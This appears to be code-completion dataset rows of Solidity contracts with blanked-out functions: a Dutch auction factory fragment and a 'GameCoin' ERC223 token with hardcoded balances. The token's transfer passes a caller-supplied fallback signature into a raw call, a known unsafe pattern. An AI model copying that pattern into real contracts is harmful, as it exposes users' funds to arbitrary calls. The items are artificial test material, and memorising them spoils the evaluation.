function initDutchSwapFactory( address _dutchAuctionTemplate, uint256 _minimumFee) public {
_initOwned(msg.sender);
dutchAuctionTemplate = _dutchAuctionTemplate;
minimumFee = _minimumFee;
}
function numberOfAuctions() public view returns (uint) {
return auctions.length;
}
function removeFinalisedAuction(address _auction) public {
require(isChildAuction[_auction].exists);
bool finalised = IDutchAuction(_auction).auctionEnded();
require(finalised);
uint removeIndex = isChildAuction[_auction].index;
emit AuctionRemoved(_auction, auctions.length - 1);
uint lastIndex = auctions.length - 1;
address lastIndexAddress = auctions[lastIndex];
auctions[removeIndex] = lastIndexAddress;
isChildAuction[lastIndexAddress].index = removeIndex;
if (auctions.length > 0) {
auctions.pop();
}
}
function deprecateFactory(address _newAddress) public {
require(isOwner());
require(newAddress == address(0));
emit FactoryDeprecated(_newAddress);
newAddress = _newAddress;
}
function setMinimumFee(uint256 _minimumFee) public {
require(isOwner());
emit MinimumFeeUpdated(minimumFee, _minimumFee);
minimumFee = _minimumFee;
}
function setDutchAuctionTemplate( address _dutchAuctionTemplate) public {
require(isOwner());
emit AuctionTemplateUpdated(dutchAuctionTemplate, _dutchAuctionTemplate);
dutchAuctionTemplate = _dutchAuctionTemplate;
}
<FILL_FUNCTION>
// footer functions
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public returns (bool success) {
require(isOwner());
return IERC20(tokenAddress).transfer(owner(), tokens);
}
receive () external payable {
revert();
}
} |
dutchAuction = createClone(dutchAuctionTemplate);
isChildAuction[address(dutchAuction)] = Auction(true, auctions.length - 1);
auctions.push(address(dutchAuction));
require(IERC20(_token).transferFrom(msg.sender, address(this), _tokenSupply));
require(IERC20(_token).approve(dutchAuction, _tokenSupply));
IDutchAuction(dutchAuction).initDutchAuction(address(this), _token,_tokenSupply,_startDate,_endDate,_paymentCurrency,_startPrice,_minimumPrice,_wallet);
emit DutchAuctionDeployed(msg.sender, address(dutchAuction), dutchAuctionTemplate, msg.value);
| function deployDutchAuction(
address _token,
uint256 _tokenSupply,
uint256 _startDate,
uint256 _endDate,
address _paymentCurrency,
uint256 _startPrice,
uint256 _minimumPrice,
address payable _wallet
)
public payable returns (address dutchAuction)
| function deployDutchAuction(
address _token,
uint256 _tokenSupply,
uint256 _startDate,
uint256 _endDate,
address _paymentCurrency,
uint256 _startPrice,
uint256 _minimumPrice,
address payable _wallet
)
public payable returns (address dutchAuction)
|
81546 | ERC223Token | transferToAddress | contract ERC223Token is ERC223, SafeMath {
mapping(address => uint48) balances;
string public name;
string public symbol;
uint8 public decimals;
uint48 public totalSupply;
function ERC223Token()
public {
totalSupply = 25907002099;
balances[0x535fC82388b0FF37248B5100803C3FA00FF076cB]=129350000;
balances[0x329504f7Cf737d583AB6AC3Cabd725ec1bF329a4]=7636000;
balances[0xCC7E72c949a71044D7f22294c7d9aB0524cCAFf7]=1;
balances[0xd590955D43bfbe93A3c51b2d6BAFc886C24a4B87]=110;
balances[0x6B6d0B5842c61153d89743040B19C760DDA647B5]=388300;
balances[0xcb9D6ad63a4487D28545F9Bd3c9d2B2Cf374803b]=1054000;
balances[0xb700402053ac42638C83B9a791f03F4c9bF16854]=330000;
balances[0xFBb1b73C4f0BDa4f67dcA266ce6Ef42f520fBB98]=1484598;
balances[0x04f04c5F2e735A223FDEFe94c94978F77c344FB8]=1100000;
balances[0xB66844cD7EC75b91FE62aB5A0E306132485C9527]=179391;
balances[0xC4CE380FcfaD899F9A7aCF8F13690dbE387FB8db]=1185800;
balances[0xe02E96193e84FCc63F2D488a7c9448B43aD904A4]=1140700;
balances[0xA2fE32aA95f9771F596089CC171dD10cA3d5761C]=44000;
balances[0xd6484a997129938709fAb588Fd6F55B0A684ab56]=21890000;
balances[0x9a6F14cEaD3521142E678fD0fEe294881449D889]=2204925;
balances[0xb3ce93Ef88d0ea70cafc029b4238CBa3b704354d]=1519400;
balances[0x7eD1E469fCb3EE19C0366D829e291451bE638E59]=304722;
balances[0xAAb8805f5626760b612812b83D77F96671E222e2]=1492589;
balances[0x7205d8e2Ff6012392Ac4C0c9fb5125F8Abb3ef6d]=1100000;
balances[0xEC348184cA6C85d12cA822Dc01FAbEb1d199e996]=1100000;
balances[0xA56F95FC14bC4D2953a819c20c0C7078a08ef7Aa]=6600000;
balances[0x5aD299927508d786E469AadDf34EEDDD4aCd96A5]=880000;
balances[0xF46DBA0c3Cce9d3b2Ce371952b72e7F66b62BE95]=1100000;
balances[0xd5f3b11b2E20fa1B7018e93128BF6faf5bda2BD7]=4894374;
balances[0x3b1a8135E0b445097c83F780F0B068F21cEAa7b4]=1052381;
balances[0xF27Fef813A7D7E17f7907a6043c52971a0b0209f]=769780;
balances[0xf3cAD07CB033F68A35e388527e55F1E804f8704a]=2088246;
balances[0x5B1286d898eD28d8a7A59b224Fc4c252461e0b64]=384957;
balances[0xBb265B80c2eFe6f071432FBA0B1527Ab5Ba9F91F]=319985;
balances[0x259DF6B527FB06757dB3295862aC8dc292466435]=98550;
balances[0xeb62ae01812773BF3C270221a9b511c86AaC1546]=296120;
balances[0x51A7016D90B58855D89efFC70c94e9808cabE680]=106012;
balances[0x919612F15F7734cD59008B2E21ba7bAC435bB8A8]=258912;
balances[0xDD6be4514A348FB2d422d176dEC81B8666B143dd]=34942;
balances[0xf0660eFb282102dB8B57EaF39F883833E8b62821]=679598;
balances[0x267C817c2Ea39C31C7075A5548d5356bcf205eFD]=186215;
balances[0x863aACEbF0030e26e14F9ff552b654171Ff6372F]=295686;
balances[0x14A1C2F56b7953aA4A93700C346740b9A25150F8]=148344;
balances[0xFc8425A1B01d1d74c2281Da2975cB77422d4CEA3]=2961211;
balances[0x4FdB2ee1EbEb1886976FA9aDAaA42a1c090335aD]=1124099;
balances[0x019BDC7F3DDF5aD4A5695e16ACfe02a4d32aEA5f]=116046;
balances[0xE11692E90dE2A2c4F220Fb0597CFdd22D5eFAcF1]=17767;
balances[0x6f06F186C8dd8D0cAd3835946A857aed261C5652]=20038512;
balances[0x24F7a01Fa083F8DB8A5b4dd46Fb003F1fd1C47d5]=3378741;
balances[0x92D8bfD2d2559a25a5D43e84f4430915e38B980F]=264302;
balances[0x8785816569941D86DFAE7adFdd92C2f50d3a5Ad6]=397479;
balances[0x7B2C6cB5bE1a99118ce38e373d58adF04d8e6719]=290277;
balances[0xa50da0F0940A852927740470e1A0a6016e9a3B65]=79800;
balances[0x9d2C3aA31Ffb61180214Ca87296A2f4F8DDA6472]=1029302;
balances[0x93A1B766A75DaeCa4a05E08ee5d7781f3d6D72B1]=7279842;
balances[0x96BD54Caefd00EeFe1e836677319B6631C0f67E0]=525000;
balances[0x0072e4Fd215f7B992D0A19fAdC58DBfAC568CE4a]=1155000;
balances[0xF9eE68058FA43a79834897793B7B34d0135b98BB]=11500;
balances[0x2A9c9a5475A6E24A530ccf5527A045F4dBf3E78e]=1138500;
balances[0x995C6B0d4F3cca7d0081f18d4b48faa135eA47b3]=38755;
balances[0x679d24F2F5AAf0E7bB6dd49e45B41CCff0779564]=459493;
balances[0x9235881033C4B57be38B1d28921451F90bd7744d]=114493;
balances[0xDf61cA237F6E782df0E090f58c8534e8794bAE64]=271231;
balances[0xEDdb1aBC1e37953F91ca6E3a11611Be79719fF5d]=46000;
balances[0xdf15A49e50Fa9f2D71B922Ae325a5AFB381A31f1]=1150000;
balances[0x269E20e3dA89481d6F0De3408c5448AE44a313B8]=250534;
balances[0x8D1F338F8abd714fd09ec13C100A0d7dF693cd5D]=282900;
balances[0xb703CE71557095b9566348928bBFD4a991456936]=207000;
balances[0x3877d21b3f1ffDF602840366aDf2350b8E1F8210]=298492;
balances[0x9A77E0910034A3B809687f8340b5BD2a184ED5bb]=345000;
balances[0x8861fd090e71D72A7ca0Aa0B24dD5D664b52cF03]=1150000;
balances[0x0098C71bCA3EBD977147928A4dA574fd138571AC]=465750;
balances[0x7131f3FCc9177F1176378635efD30A9109cF3cdE]=1682450;
balances[0x90FcD92B396CFD6951d8DdCd0Cdd2654436C2840]=1150000;
balances[0x5Bd46d1744B2AAAd591B01D23786336bF7faC094]=2961897;
balances[0x0C95959EB2056d86552baa4B859288C84D74a7e9]=3450000;
balances[0x8755A5619E2D2FC56e263FcBE26116250941d477]=23407;
balances[0xfDbe03a53aF5e4509AEBD9D148B41eEc34776B7c]=1137993;
balances[0x72a63625144327FC6A58867699107934E7F0B609]=438399;
balances[0x4EE354582a9Cc60Eb086CAEB514234c1EfE14D9F]=115000;
balances[0xBF0A1d55528EEd2990F752A6bccd24dd772421f5]=1725000;
balances[0x670226836D7Bf336bfd172086d682002a30D63e3]=1010850;
balances[0xd8F83AF83B6334be21a166d203e84D9c4f6e33e0]=396243;
balances[0xd175fb3b65eDC995DC9b2dAE705270448D8A5231]=328900;
balances[0x86dE9262Aa13f1351C9009B6BC1B1a432C96f005]=274068;
balances[0x08E004E3741052Fd00e49384088e2D6F81f97fd5]=1264492;
balances[0xc1F81207791DDa997542625cb86CC0D8Af7dfAb4]=1138500;
balances[0x913E5A823A614ad226c810e55154f3f385F647F0]=1150000;
balances[0x7f4823876318faD7321FD813b7aBd4A7C60C12A5]=1150000;
balances[0xcd9E6E0E63C5611ab1988e0569E3aD89b86086c6]=199299;
balances[0xb1Dd23a37776c1d3E1F0c874d1F72589F3c59E44]=1138500;
balances[0xfE2ceCCC914be290d49712d4715438268FC76359]=1150000;
balances[0x3dd9cFE0D6eE68163aCd1EeB6De9f4D3A580839D]=505825;
balances[0x9323D4704fB877CD090Ba715B11Da9A3eDFdA7Ef]=275000;
balances[0x0c747c7EEdf05515425AdD4061911Ae9F039F4Df]=821160;
balances[0x51a23f481037CA208086f42FE83D28B71c1EbC2c]=345000;
balances[0x42E1Fb8EC1830DBe4e5Ed5Ce60Bd307D3AcBB5a1]=14950;
balances[0x4fa531A7da9b0FA37cC60eb26eE7393B39c616B1]=945000;
balances[0x9383D952e4aa5C33c86d11932877D1D523097702]=221958;
balances[0xd5FECA4d252b298d7500c05766049210e2BD6C03]=600000;
balances[0xf4e5DA75e054FE7373a8Db3B5aD4E2d35404b7F3]=1096;
balances[0xA46BBC28cB381A6c383DAE0D3eAb39A78d9bd704]=342402;
balances[0xc94AB3B27218b1E5C24Fdb7cE169EB8bD5a58060]=1922965;
balances[0x7111B872B505992b2a61f5F3b7A31E6A589F9ba2]=2265500;
balances[0x66D94665903a8c5A7e2E065e654610e4C0E3d510]=1155060;
balances[0x180d932fbD59C12c180087085cDCDFa50f20C7DB]=1150000;
balances[0x07ACDd672aB32251C38560F14bd3b325A3392a42]=8904900;
balances[0x9b0Ae3d7A088101BbC027685B31020e88D776795]=101727;
balances[0x9608D348627CcB2FEcd97ab2896DB2516dDCdD9F]=2000000;
balances[0x82b9EedCAA518352BDb1aC80F5a214857f29a3fc]=260000;
balances[0x26BD273Ad192046E4cE16f3c23f4D4A273176C6c]=400000;
balances[0x3707D0B7EB1A3e70E2a892aAD4938be493b053Ef]=995000;
balances[0x687Eab8387faFca0E894c7890571cb8885d06252]=100000;
balances[0x29B41749C1b019624dB2Eca34852aAd1435E2FB2]=1150000;
balances[0x985B1beC38e6402C9EE39b6f0c26518899026e4c]=1000000;
balances[0x0674C588aB53256a0ef619CAfB459324Dc8Ea009]=1655620;
balances[0x84A3A12B84C57E1Fe22fAB1CC3Ad40308cB53ecd]=3980559;
balances[0x0B8a97a036bCc47707a11231362435e937f35536]=900000;
balances[0x99DfCa33bAABC6812Ebe8C790EeD515D8B36B69E]=160000;
balances[0xF85D5c4197caa5ec2fC97761b0D51A012F4BE84f]=11525;
balances[0xbBb40eC9E24C6D387843dfEA84Baa5E8BD6Fd3e9]=2000000;
balances[0x8df3185D971B5C657D0f2E9B53Dc0bBe5912F42e]=1000000;
balances[0xa1ec5e1274A5FA126415453968c9929c3F91FEE7]=100000;
balances[0x3607e4119Ef3E2a72E55D18B5feaA81c6140E85e]=200000;
balances[0x26a74e056EB4E3607792DCd87070E468878d14E9]=70000;
balances[0x517DB8116c84888Fa8013AB18B7E5F2f5e152508]=100000;
balances[0x547376929E8A4abcC04c32268c43d4924f2Ac985]=1749903;
balances[0xA6d8aD119eAC13Fe161BEff88be65FC9624C1340]=942438;
balances[0xdb090dDaC7A159Eb6161c8591aED719d80875f37]=996417;
balances[0x922D65456B8B1DeDC6F3EFcDB2981163144E96ee]=48300;
balances[0x63235E4764A0072fE68Bdd32D1A16813E5fc9d49]=1457548;
balances[0x68aD20aa347f5E719EF4476B25154B4d547a6275]=753951;
balances[0x75393B6949157376f93C1e56220ACD5457323135]=1506758;
balances[0x1796c3f4E9E877A79df5923bf8bE9aB925F7deD4]=200000;
balances[0xF0ED57958dD75DBD20374D46F1547dED0D717b4b]=1000000;
balances[0x1a2EB5ADf16aA5915AC70f6C530680945F5DAdF4]=132170;
balances[0x5ec85d2f4891bB5034bE10BA9B3B0253cc394Cd9]=205299;
balances[0x179278CB0659957675f9f3E7f949C3CcA283F153]=110000;
balances[0xCA4bB096407E7c2b2c0E67D5173FD9BB8E452647]=100000;
balances[0xdd8b17C94B097587108476bf1AC31Ce02cFa6c12]=181097;
balances[0xA7b1a07AF73f52A9bcD22C6BF2122577bb4f7900]=130000;
balances[0x38a6d1c82E8f3E04940FeA95E583Bdc24df964e4]=543404;
balances[0x8A39dBa536919aB530E5b4dA9f4686A350eb2379]=1000000;
balances[0x113b1501D2B6bf0f84D720Cec93928aD552749D2]=100000;
balances[0xa028fAF0f1DC3176069F755AE643AbE13aA53E1b]=33596;
balances[0x29D70Bb2FE698ae19cBD317fedaB4BcE3Cd3E85c]=490000;
balances[0xb9aC6748E56a67D99F1869E701DedAB25A90cFC5]=100000;
balances[0x90785Da382Cea9d3352D6ad8935816BADFFB3D73]=2167608;
balances[0x8661C945bE98c81191BB4d6254bfe1B475AB86a5]=347154;
balances[0x36bA740450a224E866b3C17B46C33CDB80a8e718]=2600365;
balances[0x0DF2781a47a1fa23F3D73E79E089E5e178A72ba6]=67390;
balances[0x1914D9FD18c6aC7cF2c2135be38E9D746aAa4743]=12095033;
balances[0x2314401bDD5318A88A9a0c05FB07B800dae88ED8]=627865;
balances[0x300bD3b89cBf26292bD58c99dB2851f14050a221]=345000;
balances[0x23E2F1e5b874ac14039306804912aEb66713FCa2]=276181;
balances[0xB365C8583B4fAc9C1352E3FFa2Bdb68C663C1A06]=78435;
balances[0x0E9822f773e93d8C58255451f4f4Af78F5374353]=785839;
balances[0xC006E4931AD1FD622B20bF66844C34676834A05f]=141365;
balances[0x04a2209bB6fa3c8ae05A6133b27d628D18054853]=179713;
balances[0x8bC1b34c9712Af6B891A12f9C6311b0D3B8CBfa8]=1280058;
balances[0x38a548Ba2235245FD99c2116b9a1211AaD54B28D]=5014000;
balances[0x55781922C48A3F51C38153365c795ca06383a177]=2415000;
balances[0xB97559fe630EB888aEa2fBD6dB4a67909d7e5879]=407067;
balances[0x83AB7422A347Ddb8957725F08a103107bb119328]=5510;
balances[0x2D7dc7b96e9dFb393CFa466eAC6c494BDa28604a]=245000;
balances[0xE804b632cd624Bd80a2a4DdBc9d0aD3984e54F93]=25000;
balances[0x0CfB3a673d6E735c5b9E9a9A9Da032E960CD8CD4]=123049;
balances[0x44344Dc9974706c34f53B92167275a34f4AB1EE8]=44753;
balances[0x4C65118325dcd97E8724cd4E763703f7263f0DDF]=180000;
balances[0x5Fc8f1D8B9Eeebf2Cf6a2eE5c20b3dEF6b2d10B5]=1044750;
balances[0x0280EF5689728A8eD0eC93A49F700ea251eB64fB]=44275000;
balances[0xc784a88c444cCB22eb744ffA3Dd37b78F9F29f9D]=187915;
balances[0xCdc35eD04Cf4eeb74dD82eABe82cbB386Aa79D1c]=575000;
balances[0xF53786FF94a25DB623A028B08B69aa875648986B]=10127000;
balances[0x36621EA0B079CEDD13026e321BfC4924d55a6008]=8480114;
balances[0xbE8a87EE71db2323515787Ae37A198cA898188Ae]=3453850;
balances[0xB7237539824a984Cd095F6509E7D7bB710f3c6FA]=70000;
balances[0x1b42dFB72B02fFB15F369C38F39E6753980B6a89]=51672;
balances[0xb7FFb5174BF7382a1445C735166f49fdCa893884]=480386;
balances[0x50DF172676De7d1769877fd1A4221F634bF9B9D7]=245000;
balances[0x67E7e452a8671eFecb9284c483dE75C3fF1f02A9]=13168935;
balances[0xBFa4d7beAcA87AaE890fe79C948Cc057B409156B]=38994;
balances[0xD1c6ad2b3F196252629787D0CdCa69ED4d76a890]=111879;
balances[0xBF6C51b740ee3dd7650aA9958a57A58caeaBF4d2]=1316666;
balances[0x0056D18AEF3FF077826dd50c68cef9ddC84a6827]=108000;
balances[0x4Bd6B497DE1a41bF4B29a4387DD4CD9030b583AA]=315392;
balances[0xe38Bf41d25C21b411C406822f4eC682753E3a8b5]=6170363;
balances[0x6EE0D8DE8829C0648B1f0682A04b89a13dD3Bb6d]=279361;
balances[0x0e4d86cf3CbF43dBF588B9C7FF3cD29CE1a46e19]=101122;
balances[0x1bD7DE6Ec470914663850bAa88E6a57B30E42e7C]=251945;
balances[0x85478a6aD555Ef567B9ff2acdF0024DD643D16D6]=1990000;
balances[0x1b84B3FD554d2338926D43A0cdd4D7aFD7d62E29]=10000000;
balances[0x92844ad0530580F3ecc459f7B203a1853027bD01]=6900000;
balances[0x2E87Eb67a51fD130Ab4d056f48c6256B201E2a96]=260792;
balances[0x56D18AEf3Ff077826dD50c68cef9ddC84a6827ee]=6080000;
balances[0x33c33E5F1C41477df3715575A8f0CC9E2330C3A8]=223228;
balances[0x5765725f2a0e30DABcFc838701Ed01CaaB0564e8]=354161;
balances[0x058dfCDB62C93a5f78e8C5D162911f46269aDB4c]=2500000;
balances[0x826f679FBDCAC418352737dDf57dbddDE37C3603]=16100;
balances[0xAFfb92c9bf7Fe534a38E29428a89dfFf91F06362]=65676;
balances[0xd8A3B9456cB819f19Cf230bB5b31f1d88f6A128F]=140000;
balances[0x47c0f4ADe7C8A071EA98DB4739F1fdEfFcb89bE0]=10350200;
balances[0x3271bB92A304503Cb09a58e9f822DFD9C5187095]=279361;
balances[0x5D4545ab1016039F2CA7f6038d2044069e4EF6a0]=5000000;
balances[0x4F18A7fE4e3476191098453F973d93c120a5046b]=94817;
balances[0x9157C680585718ffdb621031cC93b6EcC4cA763C]=320499;
balances[0xF6eBf541d7cfBC0cB3ACeF0b2aeF70992db5abE4]=3720;
balances[0x18556A2F95d86F4681420c97a2b3EcE70b07F54C]=29763;
balances[0xA6189D516d88857583Af24A500Ae47E5326b2aBf]=529049;
balances[0x211af5659bCec2cf14AcF7Ef3069C8be9c318D3C]=416667;
balances[0xFbD1Db8B6F9B0c3f47a9f731200CA85725aADdD2]=124271;
balances[0xB469C927e1a8485d8ae2F6e16b1654167Bb185D6]=416667;
balances[0x8C00526818eeCA6b4BdA0fD534b8f1d53c78E200]=200000;
balances[0x007aDfB8C0Fa143E9c0d4260172D88A3ef38F6e9]=365198;
balances[0x6856f0FF9619bD151bD4E34cF8a9B613d3A0d161]=731882;
balances[0x1C0576530BBB246d834F847b8EB634377CCC5eD2]=700065;
balances[0x5106B0860475CdF3F74D1B3fdfc5619eE2C51Aa5]=141377;
balances[0xc076c1C52BfDBb15507102AaDA4473a039963F4f]=25000000;
balances[0x93970080A078980B8B121A556A60f3a114FB9169]=706889;
balances[0x9FfDca13b7ea0ddE97Dce2a286E453518eF34C00]=744093;
balances[0x65c6D15C2772B42c745c980dbcB5FB0f74974385]=26043;
balances[0x961E7e3558F31C647fc4D39B0aC2544E786cCd3f]=333668;
balances[0xA07b23625BD37378f24023bc7B55eB501F3cC4Ed]=96732;
balances[0x73F15eBEBDe578024A60A4cDf626689efF2B9065]=372046;
balances[0x9865F77f5A21595329f05A9D8a47F6Da966E0b38]=23029;
balances[0x65c6f7A45A005CCC1979599473aA79Ca73D6efb0]=57317;
balances[0xa0D2F4B648beAff668dDBa8e748Ac135c4c49F84]=369639;
balances[0x9f8EdE9F051f946788211549b70CfEF5c81B447B]=1000000;
balances[0xAbe5CCb78502727c8CF17CfA79b218e889DD62bB]=102004;
balances[0xE6ba478c352DE046aa3D9279A61A43850F3a609c]=101008;
balances[0xd889C102e974ef2bA128D3caa60C463A3ae8F989]=163700;
balances[0x803CbCF07c4cFA1874dad6BCeD796aB5320b3d89]=4500;
balances[0xe8621096d55C7B970bF88cc4e597f29dA4b55218]=170455;
balances[0x4347da950003a9C0E477eC625CD1b57620B762DE]=1150000;
balances[0x8Cf2Bef55EA9a7908029853CF6289356f24e332B]=210833;
balances[0xC6B24D95E69D9F74eA90C419F4B4F71e6433b2EE]=13761;
balances[0x9B1f1962b65deAA7c1C495a36767f48019f24205]=57500;
balances[0x976d00C6aaf3E49E2615665D81B70080933D8623]=516488;
balances[0xafCe1E95eB00824B0368E2574c81ea04252D09aA]=86071;
balances[0x60995c4c4b7B9EA3D6dE08a7bf8AAf1188aF943B]=27523;
balances[0xc50c9457a5b0849999e2b89db8dDeA23436f3c46]=61345;
balances[0x042a3E1aB9eB9Aa7B06c63eaAfb99F0EEE37c9aC]=42000;
balances[0x52437Ce5c02de9B0A5D933E6902a9509f33353B4]=86071;
balances[0x6FBb288E14a37a94f69c18a0eD24FaC1145b9900]=522827500;
balances[0x33C8d18e9b46872CeBb31384bFBEc53Cb32Ccf12]=24876206872;
name = "GameCoin";
symbol = "GMC";
decimals = 2;
}
// Function to access name of token .
function name() constant returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() constant returns (uint48 _totalSupply) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint48 _value, bytes _data, string _custom_fallback) returns (bool success) {
if(isContract(_to)) {
require(balanceOf(msg.sender) >= _value);
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint48 _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint48 _value) returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint48 _value, bytes _data) private returns (bool success) {<FILL_FUNCTION_BODY> }
//function that is called when transaction target is a contract
function transferToContract(address _to, uint48 _value, bytes _data) private returns (bool success) {
require(balanceOf(msg.sender) >= _value);
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant returns (uint48 balance) {
return balances[_owner];
}
} | contract ERC223Token is ERC223, SafeMath {
mapping(address => uint48) balances;
string public name;
string public symbol;
uint8 public decimals;
uint48 public totalSupply;
function ERC223Token()
public {
totalSupply = 25907002099;
balances[0x535fC82388b0FF37248B5100803C3FA00FF076cB]=129350000;
balances[0x329504f7Cf737d583AB6AC3Cabd725ec1bF329a4]=7636000;
balances[0xCC7E72c949a71044D7f22294c7d9aB0524cCAFf7]=1;
balances[0xd590955D43bfbe93A3c51b2d6BAFc886C24a4B87]=110;
balances[0x6B6d0B5842c61153d89743040B19C760DDA647B5]=388300;
balances[0xcb9D6ad63a4487D28545F9Bd3c9d2B2Cf374803b]=1054000;
balances[0xb700402053ac42638C83B9a791f03F4c9bF16854]=330000;
balances[0xFBb1b73C4f0BDa4f67dcA266ce6Ef42f520fBB98]=1484598;
balances[0x04f04c5F2e735A223FDEFe94c94978F77c344FB8]=1100000;
balances[0xB66844cD7EC75b91FE62aB5A0E306132485C9527]=179391;
balances[0xC4CE380FcfaD899F9A7aCF8F13690dbE387FB8db]=1185800;
balances[0xe02E96193e84FCc63F2D488a7c9448B43aD904A4]=1140700;
balances[0xA2fE32aA95f9771F596089CC171dD10cA3d5761C]=44000;
balances[0xd6484a997129938709fAb588Fd6F55B0A684ab56]=21890000;
balances[0x9a6F14cEaD3521142E678fD0fEe294881449D889]=2204925;
balances[0xb3ce93Ef88d0ea70cafc029b4238CBa3b704354d]=1519400;
balances[0x7eD1E469fCb3EE19C0366D829e291451bE638E59]=304722;
balances[0xAAb8805f5626760b612812b83D77F96671E222e2]=1492589;
balances[0x7205d8e2Ff6012392Ac4C0c9fb5125F8Abb3ef6d]=1100000;
balances[0xEC348184cA6C85d12cA822Dc01FAbEb1d199e996]=1100000;
balances[0xA56F95FC14bC4D2953a819c20c0C7078a08ef7Aa]=6600000;
balances[0x5aD299927508d786E469AadDf34EEDDD4aCd96A5]=880000;
balances[0xF46DBA0c3Cce9d3b2Ce371952b72e7F66b62BE95]=1100000;
balances[0xd5f3b11b2E20fa1B7018e93128BF6faf5bda2BD7]=4894374;
balances[0x3b1a8135E0b445097c83F780F0B068F21cEAa7b4]=1052381;
balances[0xF27Fef813A7D7E17f7907a6043c52971a0b0209f]=769780;
balances[0xf3cAD07CB033F68A35e388527e55F1E804f8704a]=2088246;
balances[0x5B1286d898eD28d8a7A59b224Fc4c252461e0b64]=384957;
balances[0xBb265B80c2eFe6f071432FBA0B1527Ab5Ba9F91F]=319985;
balances[0x259DF6B527FB06757dB3295862aC8dc292466435]=98550;
balances[0xeb62ae01812773BF3C270221a9b511c86AaC1546]=296120;
balances[0x51A7016D90B58855D89efFC70c94e9808cabE680]=106012;
balances[0x919612F15F7734cD59008B2E21ba7bAC435bB8A8]=258912;
balances[0xDD6be4514A348FB2d422d176dEC81B8666B143dd]=34942;
balances[0xf0660eFb282102dB8B57EaF39F883833E8b62821]=679598;
balances[0x267C817c2Ea39C31C7075A5548d5356bcf205eFD]=186215;
balances[0x863aACEbF0030e26e14F9ff552b654171Ff6372F]=295686;
balances[0x14A1C2F56b7953aA4A93700C346740b9A25150F8]=148344;
balances[0xFc8425A1B01d1d74c2281Da2975cB77422d4CEA3]=2961211;
balances[0x4FdB2ee1EbEb1886976FA9aDAaA42a1c090335aD]=1124099;
balances[0x019BDC7F3DDF5aD4A5695e16ACfe02a4d32aEA5f]=116046;
balances[0xE11692E90dE2A2c4F220Fb0597CFdd22D5eFAcF1]=17767;
balances[0x6f06F186C8dd8D0cAd3835946A857aed261C5652]=20038512;
balances[0x24F7a01Fa083F8DB8A5b4dd46Fb003F1fd1C47d5]=3378741;
balances[0x92D8bfD2d2559a25a5D43e84f4430915e38B980F]=264302;
balances[0x8785816569941D86DFAE7adFdd92C2f50d3a5Ad6]=397479;
balances[0x7B2C6cB5bE1a99118ce38e373d58adF04d8e6719]=290277;
balances[0xa50da0F0940A852927740470e1A0a6016e9a3B65]=79800;
balances[0x9d2C3aA31Ffb61180214Ca87296A2f4F8DDA6472]=1029302;
balances[0x93A1B766A75DaeCa4a05E08ee5d7781f3d6D72B1]=7279842;
balances[0x96BD54Caefd00EeFe1e836677319B6631C0f67E0]=525000;
balances[0x0072e4Fd215f7B992D0A19fAdC58DBfAC568CE4a]=1155000;
balances[0xF9eE68058FA43a79834897793B7B34d0135b98BB]=11500;
balances[0x2A9c9a5475A6E24A530ccf5527A045F4dBf3E78e]=1138500;
balances[0x995C6B0d4F3cca7d0081f18d4b48faa135eA47b3]=38755;
balances[0x679d24F2F5AAf0E7bB6dd49e45B41CCff0779564]=459493;
balances[0x9235881033C4B57be38B1d28921451F90bd7744d]=114493;
balances[0xDf61cA237F6E782df0E090f58c8534e8794bAE64]=271231;
balances[0xEDdb1aBC1e37953F91ca6E3a11611Be79719fF5d]=46000;
balances[0xdf15A49e50Fa9f2D71B922Ae325a5AFB381A31f1]=1150000;
balances[0x269E20e3dA89481d6F0De3408c5448AE44a313B8]=250534;
balances[0x8D1F338F8abd714fd09ec13C100A0d7dF693cd5D]=282900;
balances[0xb703CE71557095b9566348928bBFD4a991456936]=207000;
balances[0x3877d21b3f1ffDF602840366aDf2350b8E1F8210]=298492;
balances[0x9A77E0910034A3B809687f8340b5BD2a184ED5bb]=345000;
balances[0x8861fd090e71D72A7ca0Aa0B24dD5D664b52cF03]=1150000;
balances[0x0098C71bCA3EBD977147928A4dA574fd138571AC]=465750;
balances[0x7131f3FCc9177F1176378635efD30A9109cF3cdE]=1682450;
balances[0x90FcD92B396CFD6951d8DdCd0Cdd2654436C2840]=1150000;
balances[0x5Bd46d1744B2AAAd591B01D23786336bF7faC094]=2961897;
balances[0x0C95959EB2056d86552baa4B859288C84D74a7e9]=3450000;
balances[0x8755A5619E2D2FC56e263FcBE26116250941d477]=23407;
balances[0xfDbe03a53aF5e4509AEBD9D148B41eEc34776B7c]=1137993;
balances[0x72a63625144327FC6A58867699107934E7F0B609]=438399;
balances[0x4EE354582a9Cc60Eb086CAEB514234c1EfE14D9F]=115000;
balances[0xBF0A1d55528EEd2990F752A6bccd24dd772421f5]=1725000;
balances[0x670226836D7Bf336bfd172086d682002a30D63e3]=1010850;
balances[0xd8F83AF83B6334be21a166d203e84D9c4f6e33e0]=396243;
